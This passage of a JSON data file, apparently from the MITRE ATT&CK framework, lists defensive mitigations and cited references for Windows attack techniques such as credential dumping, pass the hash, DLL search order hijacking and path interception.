            "description": "### Windows\nMonitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [Valid Accounts](https://attack.mitre.org/techniques/T1078) if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers. (Citation: Microsoft Securing Privileged Access)\n\nOn Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA. (Citation: Microsoft LSA)\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for \u201cReplicating Directory Changes\u201d and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.",
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                    "url": "https://attack.mitre.org/techniques/T1003",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
                    "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved February 13, 2015.",
                    "source_name": "Microsoft LSA"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard",
                    "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.",
                    "source_name": "TechNet Credential Guard"
                },
                {
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard",
                    "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.",
                    "source_name": "GitHub SHB Credential Guard"
                },
                {
                    "url": "https://adsecurity.org/?p=1729",
                    "description": "Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017.",
                    "source_name": "AdSecurity DCSync Sept 2015"
                },
                {
                    "url": "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr",
                    "description": "Microsoft. (n.d.). How to grant the \"Replicating Directory Changes\" permission for the Microsoft Metadirectory Services ADMA service account. Retrieved December 4, 2017.",
                    "source_name": "Microsoft Replication ACL"
                },
                {
                    "url": "https://technet.microsoft.com/library/jj865668.aspx",
                    "description": "Microsoft. (2012, November 29). Using security policies to restrict NTLM traffic. Retrieved December 4, 2017.",
                    "source_name": "Microsoft Disable NTLM Nov 2012"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
                    "source_name": "Microsoft Securing Privileged Access"
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            "name": "Credentials in Files Mitigation",
            "description": "Establish an organizational policy that prohibits password storage in files. Ensure that developers and system administrators are aware of the risk associated with having plaintext passwords in software configuration files that may be left on endpoint systems or servers. Preemptively search for files containing passwords and remove when found. Restrict file shares to specific directories with access only to necessary users. Remove vulnerable Group Policy Preferences. (Citation: Microsoft MS14-025)",
            "external_references": [
                {
                    "external_id": "T1081",
                    "url": "https://attack.mitre.org/techniques/T1081",
                    "source_name": "mitre-attack"
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                {
                    "url": "http://support.microsoft.com/kb/2962486",
                    "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.",
                    "source_name": "Microsoft MS14-025"
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            "name": "Credentials in Registry Mitigation",
            "description": "Do not store credentials within the Registry. Proactively search for credentials within Registry keys and attempt to remediate the risk. If necessary software must store credentials, then ensure those accounts have limited permissions so they cannot be abused if obtained by an adversary.",
            "external_references": [
                {
                    "external_id": "T1214",
                    "url": "https://attack.mitre.org/techniques/T1214",
                    "source_name": "mitre-attack"
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            "name": "Custom Command and Control Protocol Mitigation",
            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "url": "https://attack.mitre.org/techniques/T1094",
                    "source_name": "mitre-attack"
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            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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            "name": "DCShadow Mitigation",
            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.",
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1207",
                    "source_name": "mitre-attack"
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            "created": "2018-10-17T00:14:20.652Z",
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            "name": "DLL Search Order Hijacking Mitigation",
            "description": "Disallow loading of remote DLLs. (Citation: Microsoft DLL Preloading) This is included by default in Windows Server 2012+ and is available by patch for XP+ and Server 2003+. (Citation: Microsoft DLL Search) Path Algorithm\n\nEnable Safe DLL Search Mode to force search for system DLLs in directories with greater restrictions (e.g. <code>%SYSTEMROOT%</code>)to be used before local directory DLLs (e.g. a user's home directory). The Safe DLL Search Mode can be enabled via Group Policy at Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode. The associated Windows Registry key for this is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\SafeDLLSearchMode</code> (Citation: Microsoft DLL Search)\n\nUse auditing tools capable of detecting DLL search order hijacking opportunities on systems within an enterprise and correct them. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for DLL hijacking weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through search order hijacking by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
            "external_references": [
                {
                    "external_id": "T1038",
                    "url": "https://attack.mitre.org/techniques/T1038",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://msdn.microsoft.com/en-US/library/ms682586",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved November 30, 2014.",
                    "source_name": "Microsoft DLL Search"
                },
                {
                    "url": "http://blogs.technet.com/b/srd/archive/2010/08/23/more-information-about-dll-preloading-remote-attack-vector.aspx",
                    "description": "Microsoft. (2010, August 12). More information about the DLL Preloading remote attack vector. Retrieved December 5, 2014.",
                    "source_name": "Microsoft DLL Preloading"
                },
                {
                    "url": "https://github.com/mattifestation/PowerSploit",
                    "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.",
                    "source_name": "Powersploit"
                },
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                    "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016",
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                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
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                    "description": "Dormann, W. (2017, October 20). Disable DDEAUTO for Outlook, Word, OneNote, and Excel versions 2010, 2013, 2016. Retrieved February 3, 2018.",
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                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
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                    "description": "Brower, N. & D'Souza-Wiltshire, I. (2017, November 9). Enable Attack surface reduction. Retrieved February 3, 2018.",
                    "source_name": "Microsoft ASR Nov 2017"
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                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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            "description": "This type of technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.",
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                    "url": "https://github.com/mattifestation/PowerSploit",
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                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.",
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            "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.",
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                    "url": "https://docs.microsoft.com/windows/desktop/etw/event-tracing-portal",
                    "description": "Microsoft. (2018, May 30). Event Tracing. Retrieved September 6, 2018.",
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                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
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                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
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            "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by Windows utilities like AppLocker. (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker)",
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
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            "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1040",
                    "source_name": "mitre-attack"
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                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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            "name": "New Service Mitigation",
            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only  authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/techniques/T1050",
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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            "name": "Obfuscated Files or Information Mitigation",
            "description": "Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)\n\nMitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.",
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                {
                    "external_id": "T1027",
                    "url": "https://attack.mitre.org/techniques/T1027",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc",
                    "description": "Microsoft. (2015, June 9). Windows 10 to offer application developers new malware defenses. Retrieved February 12, 2018.",
                    "source_name": "Microsoft AMSI June 2015"
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            "name": "Office Application Startup Mitigation",
            "description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)",
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                    "url": "https://attack.mitre.org/techniques/T1137",
                    "source_name": "mitre-attack"
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                    "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/",
                    "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
                    "source_name": "Palo Alto Office Test Sofacy"
                },
                {
                    "url": "https://labs.mwrinfosecurity.com/blog/add-in-opportunities-for-office-persistence/",
                    "description": "Knowles, W. (2017, April 21). Add-In Opportunities for Office Persistence. Retrieved July 3, 2017.",
                    "source_name": "MRWLabs Office Persistence Add-ins"
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                    "url": "https://blogs.technet.microsoft.com/mmpc/2016/03/22/new-feature-in-office-2016-can-block-macros-and-help-prevent-infection/",
                    "description": "Microsoft Malware Protection Center. (2016, March 22). New feature in Office 2016 can block macros and help prevent infection. Retrieved July 3, 2017.",
                    "source_name": "TechNet Office Macro Security"
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            "name": "Pass the Hash Mitigation",
            "description": "Monitor systems and domain logs for unusual credential logon activity. Prevent access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). Apply patch KB2871997 to Windows 7 and higher systems to limit the default access of accounts in the local administrator group. \n\nEnable pass the hash mitigations to apply UAC restrictions to local accounts on network logon. The associated Registry key is located <code>HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\LocalAccountTokenFilterPolicy</code> Through GPO: Computer Configuration > [Policies] > Administrative Templates > SCM: Pass the Hash Mitigations: Apply UAC restrictions to local accounts on network logons. (Citation: GitHub IAD Secure Host Baseline UAC Filtering)\n\nLimit credential overlap across systems to prevent the damage of credential compromise and reduce the adversary's ability to perform Lateral Movement between systems. Ensure that built-in and created local administrator accounts have complex, unique passwords. Do not allow a domain user to be in the local administrator group on multiple systems.",
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                    "external_id": "T1075",
                    "url": "https://attack.mitre.org/techniques/T1075",
                    "source_name": "mitre-attack"
                },
                {
                    "description": "NSA IAD. (2017, January 24). Secure-Host-Baseline/Windows/Group Policy Templates/en-US/SecGuide.adml. Retrieved December 18, 2017.",
                    "source_name": "GitHub IAD Secure Host Baseline UAC Filtering"
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            "x_mitre_domains": [
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            "name": "Pass the Ticket Mitigation",
            "description": "Monitor domains for unusual credential logons. Limit credential overlap across systems to prevent the damage of credential compromise. Ensure that local administrator accounts have complex, unique passwords. Do not allow a user to be a local administrator for multiple systems. Limit domain admin account permissions to domain controllers and limited servers. Delegate other admin functions to separate accounts. (Citation: ADSecurity AD Kerberos Attacks)\n\nFor containing the impact of a previously generated golden ticket, reset the built-in KRBTGT account password twice, which will invalidate any existing golden tickets that have been created with the KRBTGT hash and other Kerberos tickets derived from it. (Citation: CERT-EU Golden Ticket Protection)\n\nAttempt to identify and block unknown or malicious software that could be used to obtain Kerberos tickets and use them to authenticate by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
            "external_references": [
                {
                    "external_id": "T1097",
                    "url": "https://attack.mitre.org/techniques/T1097",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://adsecurity.org/?p=556",
                    "description": "Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.",
                    "source_name": "ADSecurity AD Kerberos Attacks"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
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                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "source_name": "CERT-EU Golden Ticket Protection"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Password Filter DLL Mitigation",
            "description": "Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\\Windows\\System32\\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)",
            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1174",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms721766.aspx",
                    "description": "Microsoft. (n.d.). Installing and Registering a Password Filter DLL. Retrieved November 21, 2017.",
                    "source_name": "Microsoft Install Password Filter n.d"
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Password Policy Discovery Mitigation",
            "description": "Mitigating discovery of password policies is not advised since the information is required to be known by systems and users of a network. Ensure password policies are such that they mitigate brute force attacks yet will not give an adversary an information advantage because the policies are too light. Active Directory is a common way to set and enforce password policies throughout an enterprise network. (Citation: Microsoft Password Complexity)",
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                {
                    "external_id": "T1201",
                    "url": "https://attack.mitre.org/techniques/T1201",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements",
                    "description": "Hall, J., Lich, B. (2017, September 9). Password must meet complexity requirements. Retrieved April 5, 2018.",
                    "source_name": "Microsoft Password Complexity"
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            "name": "Path Interception Mitigation",
            "description": "Eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them (Citation: Microsoft CreateProcess). Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate (Citation: MSDN DLL Security). Clean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries.\n\nPeriodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations (Citation: Kanthak Sentinel). \n\nRequire that all executables be placed in write-protected directories. Ensure that proper permissions and directory access control are set to deny users the ability to write files to the top-level directory <code>C:</code> and system directories, such as <code>C:\\Windows\\</code>, to reduce places where malicious files could be placed for execution.\n\nIdentify and block potentially malicious software that may be executed through the path interception by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies, (Citation: Corio 2008) that are capable of auditing and/or blocking unknown executables.",
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                    "url": "https://attack.mitre.org/techniques/T1034",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "http://msdn.microsoft.com/en-us/library/ms682425",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved December 5, 2014.",
                    "source_name": "Microsoft CreateProcess"
                },
                {
                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
                    "source_name": "Beechey 2010"
                },
                {
                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
                    "source_name": "Windows Commands JPCERT"
                },
                {
                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
                    "source_name": "NSA MS AppLocker"
                },
                {
                    "url": "https://msdn.microsoft.com/en-us/library/ff919712.aspx",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.",
                    "source_name": "MSDN DLL Security"
                },
                {
                    "url": "https://skanthak.homepage.t-online.de/sentinel.html",
                    "description": "Kanthak, S. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.",
                    "source_name": "Kanthak Sentinel"
                },
                {
                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
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            "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire [Valid Accounts](https://attack.mitre.org/techniques/T1078) that can be used by existing services.",
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            "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information on remotely available systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://attack.mitre.org/techniques/T1018",
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                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599",
                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
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                    "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx",
                    "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.",
                    "source_name": "Corio 2008"
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                {
                    "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx",
                    "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                    "source_name": "TechNet Applocker vs SRP"
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            "name": "Replication Through Removable Media Mitigation",
            "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
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                    "url": "https://support.microsoft.com/en-us/kb/967715",
                    "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.",
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                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html",
                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
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                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
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                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm",
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            "name": "Rundll32 Mitigation",
            "description": "Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass whitelisting. (Citation: Secure Host Baseline EMET)",
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                    "external_id": "T1085",
                    "url": "https://attack.mitre.org/techniques/T1085",
                    "source_name": "mitre-attack"
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                {
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET",
                    "description": "National Security Agency. (2016, May 4). Secure Host Baseline EMET. Retrieved June 22, 2016.",
